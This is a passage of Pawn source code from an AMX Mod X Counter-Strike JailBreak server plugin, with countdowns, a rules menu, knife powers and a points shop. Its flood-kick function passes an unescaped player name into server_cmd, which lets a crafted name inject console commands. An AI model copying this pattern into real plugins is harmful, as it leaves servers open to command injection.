			formatex(Formatex, 14, "\y%s \wSeconds", MessageCDnum[i])
			menu_additem(menu , Formatex, szNum)
		}
		menu_display(id, menu)
	} else
		ColorChat(id, "^4Only^3 Counter-terrorists^4 can start a^3 countdown")
}
 public menu_handler(id, menu, item)
{
	if(item == MENU_EXIT)
		return
	new Data[7], Name[64]
	new Access, Callback
	menu_item_getinfo(menu, item, Access, Data,5, Name, 63, Callback)
 	new Key = str_to_num(Data)
	new name[33]
	get_user_name(id, name, 32)
 	ColorChat(0, "Guard^4 %s ^1has started Countdown", name)
	switch(Key) {
		case 1:	timer = 5
		case 2:	timer = 10
		case 3:	timer = 15
		case 4:	timer = 20
		case 5:	timer = 25
		case 6:	timer = 30
	}
	ColorChat(0, "when^3 %d^1 is over save your^4 %s", timer, random_num(0,1) ? "ASS" : "RUN")
	countdown()
	set_task(1.0, "countdown",4444,_,_, "b")
}
 public countdown()
{
	new SecVoice[21]
	num_to_word(timer, SecVoice, 20)
	if(timer == 0) {
		set_hudmessage(255, 0, 0, -1.0, -1.0, 0, 6.0, 3.0)
		show_hudmessage(0, "Go go go")
		client_cmd(0, "spk ^"barney/letsgo^"")
		remove_task(4444)
	} else {
		if(timer <= 9)
			client_cmd(0, "spk ^"Extreme-Jail/%s^"", SecVoice)
		else if(random_num(0,1))
			client_cmd(0, "spk ^"vox/%s^"", SecVoice)
		else
			client_cmd(0, "spk ^"fvox/%s^"", SecVoice)
		set_hudmessage(0, 255, 0, -1.0, -1.0, 0, 0.5, 0.5)
		show_hudmessage(0, "%i", timer)
		timer--
	}
}
 public fullupdate(id)
{
	if(floodcounter[id] == 4) {
		new name[33]
		get_user_name(id, name, 32)
		server_cmd("kick ^"%s^" ^"Using spam command^"", name)
	}
	floodcounter[id]++
}
 public Givec4(id)
{
	if(is_user_alive(id) && cs_get_user_team(id) == CS_TEAM_CT) {
		if(!user_has_weapon(id, CSW_C4)) {
			fm_give_item(id, "weapon_c4")
			ColorChat(id, "You Have a c4^3, if you SPAM this Command you get ban!")
		}
	}
}
 public GameDesc() {
	forward_return(FMV_STRING, gamename)
	return FMRES_SUPERCEDE
}
 public client_PreThink(plr) {
	if(get_cvar_num("bh_enabled")) {
		new oldbuttons = get_user_oldbutton(plr)
		oldbuttons &= ~IN_JUMP
		entity_set_int(plr, EV_INT_oldbuttons, oldbuttons)
	}
	if(get_bit(g_PlayerBH, plr) && get_user_weapon(plr) == CSW_KNIFE && entity_get_int(plr, EV_INT_button) & 2)
	{
		new flags = entity_get_int(plr, EV_INT_flags)
		if(flags & FL_WATERJUMP || entity_get_int(plr, EV_INT_waterlevel) >= 2 || !(flags & FL_ONGROUND))
			return
		flags = entity_get_int(plr, EV_INT_flags)
		new Float:velocity[3]
		entity_get_vector(plr, EV_VEC_velocity, velocity)
		velocity[2] += 250.0
		entity_set_vector(plr, EV_VEC_velocity, velocity)
		entity_set_int(plr, EV_INT_gaitsequence, 6)
	} if(footstep[plr])
		set_pev(plr, pev_flTimeStepSound, 999)
}
 public DisplayTaskBug(id)
{
	if(playerpoints[id] <= 50)	formatex(_status[id], 16, "Ex Beginner")
	else if(playerpoints[id] <= 100)	formatex(_status[id], 16, "Ex Novice")
	else if(playerpoints[id] <= 200)	formatex(_status[id], 16, "Ex Distinguished")
	else if(playerpoints[id] <= 300)	formatex(_status[id], 16, "Ex Competent")
	else if(playerpoints[id] <= 400)	formatex(_status[id], 16, "Ex Master")
	else if(playerpoints[id] <= 500)	formatex(_status[id], 16, "Ex Winner")
	else if(playerpoints[id] <= 1000)formatex(_status[id], 16, "Ex Killer")
	else				formatex(_status[id], 16, "Ex Millyoner")
	Seconds[id] = 5
	DisplayRulesMenu(id)
	set_task(1.0,"DisplayRulesMenu",id,"",0,"a",4)
 	set_dhudmessage(id, 160, 0, -1.0, 0.25, 2, 10.0, 5.0, 0.1, 1.5)
	show_dhudmessage(id, "Welcome To BeatTheB-Jail # JailBreak Server^nPress 'G' To Drop A Points^n---- Note - New Price on Shop | Your Points Is: %i -----", playerpoints[id])
}
 public DisplayRulesMenu(id)
{
	if(Seconds[id] != 0)
		Seconds[id]--
 	new Item[64], StrSeconds[10]
	num_to_str(Seconds[id], StrSeconds, 9)
	new menu = menu_create("\d[BeatTheB Jail Rules]", "sub_RulesMenu")
 	new callback = menu_makecallback("MenuCallbackRules")
 	format(Item, 63, "%s[ Agree %s%s]", Seconds[id] == 0 ? "\r" : "\d", StrSeconds[0] == '0' ? "" : StrSeconds, StrSeconds[0] == '0' ? "" : " Sec ")
	menu_additem(menu, Item, "1", _, callback)
	menu_additem(menu, "\r[\d Decline \r]^n^n", "2")
	menu_additem(menu, "\yShow Rules", "3")
	menu_additem(menu, "\yShow Help", "4")
 	menu_setprop(menu, MPROP_EXIT, MEXIT_NEVER)
	menu_display(id, menu)
}
 public sub_RulesMenu(id, menu, item)
{
	new Data[7], Name[64], Access, Callback
	menu_item_getinfo(menu, item, Access, Data,5, Name, 63, Callback)
 	new Key = str_to_num(Data)
 	switch(Key)
	{
		case 1:	menu_destroy(menu)
		case 2:	set_task(2.0, "KickUser", id)
		case 3: {
			show_motd(id, rules, "[BeatTheB Jail] Rules")
			set_task(5.0,"DisplayRulesMenu",id)
		}
		case 4: {
			show_motd(id, help, "[BeatTheB Jail] Help")
			set_task(5.0,"DisplayRulesMenu",id)
		}
	}
}
public MenuCallbackRules(id)
	return Seconds[id] != 0 ? ITEM_DISABLED : ITEM_ENABLED
 public KickUser(id)
	server_cmd("kick #%d ^"You declined the rules!^"", get_user_userid(id))
 public unvip(id) {
	if((is_user_admin(id) || get_vip[id]) && cs_get_user_team(id) == CS_TEAM_T && is_user_alive(id))
		cs_reset_user_model(id)
	else
		ColorChat(id, "you are not admin or vip or you are dead")
}
 public Event_CurWeapon(id)
{
	if(!is_user_alive(id) || !is_user_connected(id)) 
		return
 	new temp[2], weapon = get_user_weapon(id, temp[0], temp[1])
	if(weapon == CSW_KNIFE)
	{
		if(get_bit(g_PlayerCrowbar, id)) {
			entity_set_string(id, EV_SZ_weaponmodel, "models/p_crowbar.mdl")
			entity_set_string(id, EV_SZ_viewmodel, "models/v_crowbar.mdl")
		}
		else if(get_bit(g_PlayerStunGun, id)) {
			entity_set_string(id, EV_SZ_weaponmodel, "models/Extreme-Jail/p_stungun.mdl")
			entity_set_string(id, EV_SZ_viewmodel, "models/Extreme-Jail/v_stungun.mdl")
		}
		else if(get_bit(g_PlayerDildo, id)) {
			entity_set_string(id, EV_SZ_weaponmodel, "models/Extreme-Jail/p_dildo.mdl")
			entity_set_string(id, EV_SZ_viewmodel, "models/Extreme-Jail/v_dildo.mdl")
		}
		else if(get_bit(g_PlayerBH, id))
			entity_set_string(id, EV_SZ_viewmodel, "models/Extreme-Jail/v_bunnyhop.mdl")
		else if(get_bit(g_PlayerGravity, id)) {
			fm_set_user_gravity(id, 400.0 / 800.0)
			entity_set_string(id, EV_SZ_weaponmodel, "models/Extreme-Jail/p_gravity.mdl")
			entity_set_string(id, EV_SZ_viewmodel, "models/Extreme-Jail/v_gravity.mdl")
		}
		else if(get_bit(g_PlayerSpeed, id)) {
			fm_set_user_maxspeed(id, 450.0)
			entity_set_string(id, EV_SZ_weaponmodel, "models/Extreme-Jail/p_speed.mdl")
			entity_set_string(id, EV_SZ_viewmodel, "models/Extreme-Jail/v_speed.mdl")
		}
		else {
			entity_set_string(id, EV_SZ_weaponmodel, "models/Extreme-Jail/p_bknucklesEx.mdl")
			entity_set_string(id, EV_SZ_viewmodel, "models/Extreme-Jail/v_bknucklesEx-v1.mdl")
		}
	}
	else if(get_bit(g_PlayerGravity, id))
		fm_set_user_gravity(id, 800.0 / 800.0)
	else if(get_bit(g_PlayerSpeed, id))
		ResetMaxspeed(id)
}
 public EmitSound(id, channel, sample[])
{
	if(is_user_alive(id) && is_user_connected(id)) {
		new temp[2], weapon = get_user_weapon(id, temp[0], temp[1])
		if(weapon == CSW_KNIFE)
		{
			if(equal(sample, "weapons/knife_hit", 17))  {
				new pitch
				new Float:volume, Float:volume2		
				volume = random_float(0.5, 1.0)
				volume2 = random_float(0.2, 0.3)
 				switch(random_num(1,3))
				{
					case 1: pitch = PITCH_NORM
					case 2: pitch = PITCH_LOW
					case 3: pitch = PITCH_HIGH
				}
 				if(get_bit(g_PlayerCrowbar, id))
					emit_sound(id, CHAN_WEAPON, "weapons/cbar_hit2.wav", volume2, ATTN_NORM, 0, pitch)
				else if(get_bit(g_PlayerStunGun, id))
					emit_sound(id, CHAN_WEAPON, "Extreme-Jail/stungun/knife_hit1.wav", volume, ATTN_NORM, 0, pitch)
				else if(get_bit(g_PlayerDildo, id)) {
					switch(random_num(1,4))
					{
						case 1: emit_sound(id, CHAN_WEAPON, "Extreme-Jail/dildo/dildo_hit1.wav", volume2, ATTN_NORM, 0, PITCH_NORM)
						case 2: emit_sound(id, CHAN_WEAPON, "Extreme-Jail/dildo/dildo_hit2.wav", volume2, ATTN_NORM, 0, PITCH_NORM)
						case 3: emit_sound(id, CHAN_WEAPON, "Extreme-Jail/dildo/dildo_hit3.wav", volume2, ATTN_NORM, 0, PITCH_NORM)
						case 4: emit_sound(id, CHAN_WEAPON, "Extreme-Jail/dildo/dildo_hit4.wav", volume2, ATTN_NORM, 0, PITCH_NORM)
					}
				} else
					emit_sound(id, CHAN_WEAPON, "weapons/bullet_hit2.wav", volume, ATTN_NORM, 0, pitch)
				return FMRES_SUPERCEDE
			} else if(equal(sample,"weapons/knife_stab.wav")) {
				if(get_bit(g_PlayerDildo, id))
					emit_sound(id, CHAN_WEAPON, "Extreme-Jail/dildo/dildo_hitwall.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
				else if(get_bit(g_PlayerStunGun, id))
					emit_sound(id, CHAN_WEAPON, "Extreme-Jail/stungun/knife_hitwall.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
				else
					emit_sound(id, CHAN_WEAPON, "weapons/cbar_hitbod2.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
				return FMRES_SUPERCEDE
			}
		}
	}
	return FMRES_IGNORED
}
 public FwdSetVoice(receiver, sender, bool:listen)
{
	if(!(1 <= receiver <= g_max_clients) || !g_connected[receiver] || !(1 <= sender <= g_max_clients) || !g_connected[sender])
		return
	if((get_user_flags(sender) & ADMIN_MENU || get_bit(g_PlayerVoice, sender))
	|| (cs_get_user_team(sender) == CS_TEAM_CT && is_user_alive(sender) && !mutect))
		set_speak(sender, 2)
	else	set_speak(sender, 1)
}
 public Firstwrites(id) {
	if(is_user_admin(id)) {
		new name[33]
		get_user_name(id, name, 32)
		set_hudmessage(random_num(0,255), random_num(0,255), random_num(0,255), -1.0, 0.08, 0, 4.5, 0.5)
		show_hudmessage(0, "The First writes will started in 5 seccond^nby %s", name)
		if(task_exists(4444)) remove_task(4444)
		set_task(5.0, "ActionFirstwrites")
		timer = 5
		ShowFiveSeconds(id)
		set_task(1.0,"ShowFiveSeconds",id,"",0,"a",4)
	} else
		ColorChat(id, "You have no access to that command")
}
 public ActionFirstwrites() {
	new Item[6], _ran = random_num(1,5)
	switch(random_num(1,4)) {
		case 1: formatex(Item, _ran, "%i%i%i%i%i", random_num(0,9), random_num(0,9), random_num(0,9), random_num(0,9), random_num(0,9))
		case 2: formatex(Item, _ran, "%s%s%s%s%s", random_num(0,1) ? MessageTypeB[random_num(1,26)] : MessageTypeS[random_num(1,26)], random_num(0,1) ? MessageTypeB[random_num(1,26)] : MessageTypeS[random_num(1,26)], random_num(0,1) ? MessageTypeB[random_num(1,26)] : MessageTypeS[random_num(1,26)], random_num(0,1) ? MessageTypeB[random_num(1,26)] : MessageTypeS[random_num(1,26)], random_num(0,1) ? MessageTypeB[random_num(1,26)] : MessageTypeS[random_num(1,26)])
		case 3: formatex(Item, _ran, "%s%s%s%s%s", MessageTypeB[random_num(1,26)], MessageTypeB[random_num(1,26)], MessageTypeB[random_num(1,26)], MessageTypeB[random_num(1,26)], MessageTypeB[random_num(1,26)])
		case 4: formatex(Item, _ran, "%s%s%s%s%s", MessageTypeS[random_num(1,26)], MessageTypeS[random_num(1,26)], MessageTypeS[random_num(1,26)], MessageTypeS[random_num(1,26)], MessageTypeS[random_num(1,26)])
	}
	set_hudmessage(0, 255, 0, -1.0, 0.42, 0, 10.0, 10.0)
	show_hudmessage(0, "The First writes ^" %s ^" moves to CT Team", Item)
	firststart = true
	write = Item
 	if(task_exists(1111)) remove_task(1111)
	set_task(20.0, "falsed_firststart", 1111)
}
 public PlayerHasFirst(id) {
	if(firststart && cs_get_user_team(id) != CS_TEAM_CT) {
		new name[33]
		get_user_name(id, name, 32)
		cs_set_user_team(id, CS_TEAM_CT)
		ExecuteHamB(Ham_CS_RoundRespawn, id)
		client_cmd(0, "spk ^"%s^"", appmusic)
 		set_hudmessage(255, 0, 0, -1.0, 0.69, 2, 6.0, 18.0)
		show_hudmessage(0, "^%s write first and moved to CT", name)
		firststart = false
	}
}
 public falsed_firststart() firststart = false
 public OpenAllDoors(id)
{
	if(is_user_admin(id) || get_vip[id] || cs_get_user_team(id) == CS_TEAM_CT) {
		new name[32]
		get_user_name(id, name, 31)
		new ent = -1
		while((ent = fm_find_ent_by_class(ent, "func_door")))
			dllfunc(DLLFunc_Use, ent, 0)
		ColorChat(0, "^4%s ^3has Opened the cells", name)
	} else
		ColorChat(id, "You have no access to that command")
}
 public AutoOpen()
{
		new ent = -1;
                 while( ( ent = fm_find_ent_by_class( ent, "func_button")))
                {              
                        dllfunc( DLLFunc_Use, ent, 0 );
		}
		//ActionFree()
	}
public ActionGetMenu(id)
{
	if(cs_get_user_team(id) == CS_TEAM_CT) {
		new getmenu = menu_create("\r[\w BeatTheB Jail \r]\y Switch Menu", "ActionGet")
 		new players[32], pnum, tempid
		new szName[32], szTempid[10]
 		get_players(players, pnum)
 		for(new i; i<pnum; i++)
		{
			tempid = players[i]
 			if(cs_get_user_team(tempid) != CS_TEAM_T)
				continue
 			get_user_name(tempid, szName, 31)
			num_to_str(tempid, szTempid, 9)
			menu_additem(getmenu, szName, szTempid)
		}
		menu_display(id, getmenu)
	} else
		ColorChat(id, "Prisinors can't switch with Guards. Only Guards can switch with prisonors")
}
 public ActionGet(id, getmenu, item)
{
	if(item == MENU_EXIT)
		return
	new data[6], iName[64]
	new _access, callback
	menu_item_getinfo(getmenu, item, _access, data,5, iName, 63, callback)
 	new tempid = str_to_num(data)
	new szName[32], szName2[32]
	get_user_name(id, szName, 31)
	get_user_name(tempid, szName2, 31)
	ColorChat(0, "^4%s ^3switch CT with ^4%s", szName, szName2)
	cs_set_user_team(tempid, CS_TEAM_CT)
	cs_set_user_team(id, CS_TEAM_T)
	if(is_user_alive(id)) {
		user_kill(id)
		ExecuteHamB(Ham_CS_RoundRespawn, tempid)
	}
}
 public ActionShopMenu(id)
{
	if(is_user_connected(id)) {
		if(cs_get_user_team(id) == CS_TEAM_T)
		{
			new szShop[200]
 			formatex(szShop, charsmax(szShop), "\r[\w BeatTheB Jail \r]\y JailBreak Shop Menu\d ^n\yNote\w - The maximum points is 1500. New price!^nYour Points - %d \r%s", playerpoints[id], _status)
			new shopmenu = menu_create(szShop, "sub_ActionShopMenu")
 			menu_additem(shopmenu, "\yGrenades Menu", "1")
			menu_additem(shopmenu, "\yHealths Menu", "2")
			menu_additem(shopmenu, "\yWeapons Menu", "3")
			menu_additem(shopmenu, "\yPowers Menu", "4")
			menu_additem(shopmenu, "\yVIP Menu", "5")
			menu_additem(shopmenu, "\yKnifes Power Menu", "6")
			menu_additem(shopmenu, "\yOther Menu", "7")
			menu_additem(shopmenu, "\rPlayers Points", "8")
			menu_additem(shopmenu, "Help^n", "9")
			menu_additem(shopmenu, "\yExit Shop", "10")
 			menu_setprop(shopmenu, MPROP_NUMBER_COLOR, "\w")
			menu_setprop(shopmenu, MPROP_PERPAGE, 0)
			menu_display(id, shopmenu)
		} else
			ColorChat(id, "Only ^3Terrorist^4 can open the Shop. your points: ^3%d ^4%s", playerpoints[id], _status)
	}
	return PLUGIN_HANDLED
}
 public sub_ActionShopMenu(id, shopmenu, item)
{
	new shopname[33]
	get_user_name(id, shopname, 31)
	new Data[7], Name[64], Access, Callback
	menu_item_getinfo(shopmenu, item, Access, Data,5, Name, 63, Callback)
 	new Key = str_to_num(Data)
 	switch(Key)
	{
		case 1:
		{
			new szGShop[200]
 			formatex(szGShop, charsmax(szGShop), "\r[\w BeatTheB Jail \r]\y JailBreak Shop Menu\d ^n\yGrenades Menu^nYour Points - %d \r%s", playerpoints[id], _status)
			new shopgmenu = menu_create(szGShop, "sub_ActionGrenadesMenu")
 			menu_additem(shopgmenu, "\ySmoke Grenade \r[\w 5 \r]", "1")
			menu_additem(shopgmenu, "\yFlash Grenade \r[\w 10 \r]", "2")
			menu_additem(shopgmenu, "\yHe Grenade \r[\w 15 \r]", "3")
			menu_additem(shopgmenu, "\yAll Grenades \r[\w 20 \r]", "4")
 			menu_setprop(shopgmenu, MPROP_EXITNAME, "\yExit Shop")
			menu_setprop(shopgmenu, MPROP_NUMBER_COLOR, "\w")
			menu_display(id, shopgmenu)
		}
		case 2:
		{
			new szHShop[200]
 			formatex(szHShop, charsmax(szHShop), "\r[\w BeatTheB Jail \r]\y JailBreak Shop Menu\d ^n\yHealth Menu^nYour Points - %d \r%s", playerpoints[id], _status)
			new shophmenu = menu_create(szHShop, "sub_ActionHealthMenu")
 			menu_additem(shophmenu, "\y10 Health \r[\w 5 \r]", "1")
			menu_additem(shophmenu, "\y20 Health \r[\w 9 \r]", "2")
			menu_additem(shophmenu, "\y30 Health \r[\w 13 \r]", "3")
			menu_additem(shophmenu, "\y40 Health \r[\w 17 \r]", "4")
			menu_additem(shophmenu, "\y50 Health \r[\w 20 \r]", "5")
 			menu_setprop(shophmenu, MPROP_EXITNAME, "\yExit Shop")
			menu_setprop(shophmenu, MPROP_NUMBER_COLOR, "\w")
			menu_display(id, shophmenu)
		}
		case 3:
		{
			new szWShop[200]
 			formatex(szWShop, charsmax(szWShop), "\r[\w BeatTheB Jail \r]\y JailBreak Shop Menu\d ^n\yWeapons Menu^nYour Points - %d \r%s", playerpoints[id], _status)
			new shopwmenu = menu_create(szWShop, "sub_ActionWeaponsMenu")
 			menu_additem(shopwmenu, "\yGlock\d 3 Bullets \r[\w 15 \r]", "1")
			menu_additem(shopwmenu, "\yUsp\d 3 Bullets \r[\w 20 \r]", "2")
			menu_additem(shopwmenu, "\yDeagle\d 2 Bullets \r[\w 25 \r]", "3")
			menu_additem(shopwmenu, "\yAwp\d 1 Bullets \r[\w 35 \r]", "4")
 			menu_setprop(shopwmenu, MPROP_EXITNAME, "\yExit Shop")
			menu_setprop(shopwmenu, MPROP_NUMBER_COLOR, "\w")
			menu_display(id, shopwmenu)
		}
		case 4:
		{
			new szPShop[200]
 			formatex(szPShop, charsmax(szPShop), "\r[\w BeatTheB Jail \r]\y JailBreak Shop Menu\d ^n\yPower Menu^nYour Points - %d \r%s", playerpoints[id], _status)
			new shoppmenu = menu_create(szPShop, "sub_ActionPowerMenu")
 			menu_additem(shoppmenu, "\yCamouflage\d - 30 Seconds \r[\w 20 \r]", "1")
			menu_additem(shoppmenu, "\ySpeed\d - 20 Seconds \r[\w 15 \r]", "2")
			menu_additem(shoppmenu, "\yGravity\d - 20 Seconds \r[\w 15 \r]", "3")
			menu_additem(shoppmenu, "\yStealth\d - 5 Seconds \r[\w 15 \r]", "4")
			menu_additem(shoppmenu, "\yGodmode\d - 10 Seconds \r[\w 40 \r]", "5")
			menu_additem(shoppmenu, "\yNoclip\d - 10 Seconds \r[\w 45 \r]", "6")
 			menu_setprop(shoppmenu, MPROP_EXITNAME, "\yExit Shop")
			menu_setprop(shoppmenu, MPROP_NUMBER_COLOR, "\w")
			menu_display(id, shoppmenu)
		}
		case 5:
		{
			new szVShop[200]
 			formatex(szVShop, charsmax(szVShop), "\r[\w BeatTheB Jail \r]\y JailBreak Shop Menu\d ^n\yVIP Menu^nYour Points - %d \r%s", playerpoints[id], _status)
			new shopvmenu = menu_create(szVShop, "sub_ActionVIPMenu")
 			menu_additem(shopvmenu, "\yDeagle\d - 2 Bullet \r[\w 20 \r]", "1")
			menu_additem(shopvmenu, "\yAwp\d - 1 Bullet \r[\w 25 \r]", "2")
			menu_additem(shopvmenu, "\yGodmode\d - 10 Seconds \r[\w 35 \r]", "3")
			menu_additem(shopvmenu, "\yCamouflage\d - 30 Seconds \r[\w 15 \r]", "4")
			menu_additem(shopvmenu, "\yStealth\d - 5 Seconds \r[\w 15 \r]", "5")
			menu_additem(shopvmenu, "\yVoice\d - 1 Round \r[\w 20 \r]", "6")
 			menu_setprop(shopvmenu, MPROP_EXITNAME, "\yExit Shop")
			menu_setprop(shopvmenu, MPROP_NUMBER_COLOR, "\w")
			menu_display(id, shopvmenu)
		}
		case 6:
		{
			new szKShop[200]
 			formatex(szKShop, charsmax(szKShop), "\r[\w BeatTheB Jail \r]\y JailBreak Shop Menu\d ^n\yKnife Power Menu^nYour Points - %d \r%s^n\rOnce Round", playerpoints[id], _status)
			new shopkmenu = menu_create(szKShop, "sub_ActionKnifeMenu")
 			menu_additem(shopkmenu, "\yCrowBar\d Damage \r[\w 10 \r]", "1")
			menu_additem(shopkmenu, "\yStun Gun\d Damage \r[\w 10 \r]", "2")
			menu_additem(shopkmenu, "\yDildo\d Damage \r[\w 10 \r]", "3")
			menu_additem(shopkmenu, "\ySuper Bunny Hop \r[\w 10 \r]", "4")
			menu_additem(shopkmenu, "\ySpeed \r[\w 10 \r]", "5")
			menu_additem(shopkmenu, "\yGravity \r[\w 10 \r]", "6")
			menu_additem(shopkmenu, "\yKey To Open (Attack The Door)\r[\w  35 \r]", "7")
 			menu_setprop(shopkmenu, MPROP_EXITNAME, "\yExit Shop")
			menu_setprop(shopkmenu, MPROP_NUMBER_COLOR, "\w")
			menu_display(id, shopkmenu)
		}
		case 7:
		{
			new szOShop[200]
 			formatex(szOShop, charsmax(szOShop), "\r[\w BeatTheB Jail \r]\y JailBreak Shop Menu\d ^n\yOther Menu^nYour Points - %d \r%s", playerpoints[id], _status)
			new shopomenu = menu_create(szOShop, "sub_ActionOtherMenu")
 			menu_additem(shopomenu, "\yChange Team \r[\w 70 \r]", "1")
			menu_additem(shopomenu, "\yVIP Model\d Once Round \r[\w 5 \r]", "2")
			menu_additem(shopomenu, "\yAdmin Model\d Once Round \r[\w 10 \r]", "3")
			menu_additem(shopomenu, "\yFreeday\d Once Round \r[\w 30 \r]", "4")
 			menu_setprop(shopomenu, MPROP_EXITNAME, "\yExit Shop")
			menu_setprop(shopomenu, MPROP_NUMBER_COLOR, "\w")
			menu_display(id, shopomenu)
		}
		case 8:	PlayerPointsMenu(id)
		case 9:
		{
			new motd[3500]
			add(motd, 3499, "<html><head><title>JailBreak Shop</title>^n<style type=^"text/css^">^npre { font-family:Verdana,Tahoma; color:#FFB000; }^nbody { background:#000000; margin-left:8px; margin-top:0px; }^n</style></head>^n<body scroll=^"none^">^n<pre>^n^n")
			add(motd, 3499, "<b><center>^nJailBreak Shop [Version: 1.0]^n(Help Motd)^nby BeatTheB-Jail</center></b>^n<hr>^nInfo:^n(For Terrorist)^nKill CT - 3 Point^nKill CT On HeadShot - 5 Point^n(For Counter Terrorist)^nSurviving - 5 Point^n")
			add(motd, 3499, "Suicide - 2^n^nWhat's new (in version 0.6):^nYou get a few points I received a registered Chat and why^nGrenade Menu: All Grenades option^nVIP Menu: Fixed voice option^nKnife Power: 3 options^n^n")
			add(motd, 3499, "(in version 0.7):^nFixed Godmode option^n^n(in version 0.8):^nAdded SilentWalk (Other Menu)^nNew Scriptings^n^n^nComming Soon:^nMore Options (Weapons / Powers)^nAdd Effects^nMore Sounds^n^nCommands To open The Shop Menu:^nZ - radio1^nX - radio2^nC - radio3^nOn Chat (say and say_team):^nshop , /shop, !shop - open Shop Menu^n")
			add(motd, 3499, "/mypoints, /points - Message : My Points^n^n^nPlease Report on My Skype All Bugs Or have of ideas- barel123133 <hr>^n")
			show_motd(id, motd)
			ActionShopMenu(id)
		}
		case 0:	menu_destroy(shopmenu)
	}
}
 public sub_ActionGrenadesMenu(id, shophmenu, item)
{
	if(item == MENU_EXIT || !is_user_alive(id))
	{
		ActionShopMenu(id)
		return
	}
	new shopname[33]
	get_user_name(id, shopname, 31)
	new Data[7], Name[64], Access, Callback
	menu_item_getinfo(shophmenu, item, Access, Data,5, Name, 63, Callback)
 	new Key = str_to_num(Data)
 	switch (Key)
	{
		case 1:
		{
			if(playerpoints[id] < 5) {
				emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
				ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 5)
			} else {
				fm_give_item(id, "weapon_smokegrenade")
 				ColorChat(0, "^4%s ^1Buy ^3^"Smoke Grenade^"", shopname)
				playerpoints[id] -= 5
			}
		}
		case 2:
		{
			if(playerpoints[id] < 10) {
				emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
				ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 10)
			} else {
				fm_give_item(id, "weapon_flashbang")
 				ColorChat(0, "^4%s ^1Buy ^3^"Flash Grenade^"", shopname)
				playerpoints[id] -= 10
			}
		}
		case 3:
		{
			if(playerpoints[id] < 15) {
				emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
				ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 15)
			} else {
				fm_give_item(id, "weapon_hegrenade")
 				ColorChat(0, "^4%s ^1Buy ^3^"HE Grenade^"", shopname)
				playerpoints[id] -= 15
			}
		}
		case 4:
		{
			if(playerpoints[id] < 20) {
				emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
				ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 20)
			} else {
				fm_give_item(id, "weapon_hegrenade")
				fm_give_item(id, "weapon_flashbang")
				fm_give_item(id, "weapon_smokegrenade")
 				ColorChat(0, "^4%s ^1Buy ^3^"All Grenades^"", shopname)
				playerpoints[id] -= 20
			}
		}
	}
	ActionShopMenu(id)
}
 public sub_ActionHealthMenu(id, shophmenu, item)
{
	if(item == MENU_EXIT || !is_user_alive(id))
	{
		ActionShopMenu(id)
		return
	}
	new shopname[33]
	get_user_name(id, shopname, 31)
	new Data[7], Name[64], Access, Callback
	menu_item_getinfo(shophmenu, item, Access, Data,5, Name, 63, Callback)
 	new Key = str_to_num(Data)
 	switch (Key)
	{
		case 1:
		{
			if(playerpoints[id] < 5) {
				emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
				ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 5)
			} else {
				fm_set_user_health(id, get_user_health(id) + 10)
 				ColorChat(0, "^4%s ^1Buy ^3^"10 Health^"", shopname)
				emit_sound(id, CHAN_ITEM, "items/medshot4.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
				playerpoints[id] -= 5
			}
		}
		case 2:
		{
			if(playerpoints[id] < 9) {
				emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
				ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 9)
			} else {
				fm_set_user_health(id, get_user_health(id) + 20)
 				ColorChat(0, "^4%s ^1Buy ^3^"20 Health^"", shopname)
				emit_sound(id, CHAN_ITEM, "items/medshot4.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
				playerpoints[id] -= 9
			}
		}
		case 3:
		{
			if(playerpoints[id] < 13) {
				emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
				ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 13)
			} else {
				fm_set_user_health(id, get_user_health(id) + 30)
 				ColorChat(0, "^4%s ^1Buy ^3^"30 Health^"", shopname)
				emit_sound(id, CHAN_ITEM, "items/medshot4.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
				playerpoints[id] -= 13
			}
		}
		case 4:
		{
			if(playerpoints[id] < 17) {
				emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
				ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 17)
			} else {
				fm_set_user_health(id, get_user_health(id) + 40)
 				ColorChat(0, "^4%s ^1Buy ^3^"40 Health^"", shopname)
				emit_sound(id, CHAN_ITEM, "items/medshot4.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
				playerpoints[id] -= 17
			}
		}
		case 5:
		{
			if(playerpoints[id] < 20) {
				emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
				ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 20)
			} else {
				fm_set_user_health(id, get_user_health(id) + 50)
 				ColorChat(0, "^4%s ^1Buy ^3^"50 Health^"", shopname)
				emit_sound(id, CHAN_ITEM, "items/medshot4.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
				playerpoints[id] -= 20
			}
		}
	}
	ActionShopMenu(id)
}
 public sub_ActionWeaponsMenu(id, shopwmenu, item)
{
	if(item == MENU_EXIT || !is_user_alive(id))
	{
		ActionShopMenu(id)
		return
	}
	new Data[7], Name[64], Access, Callback
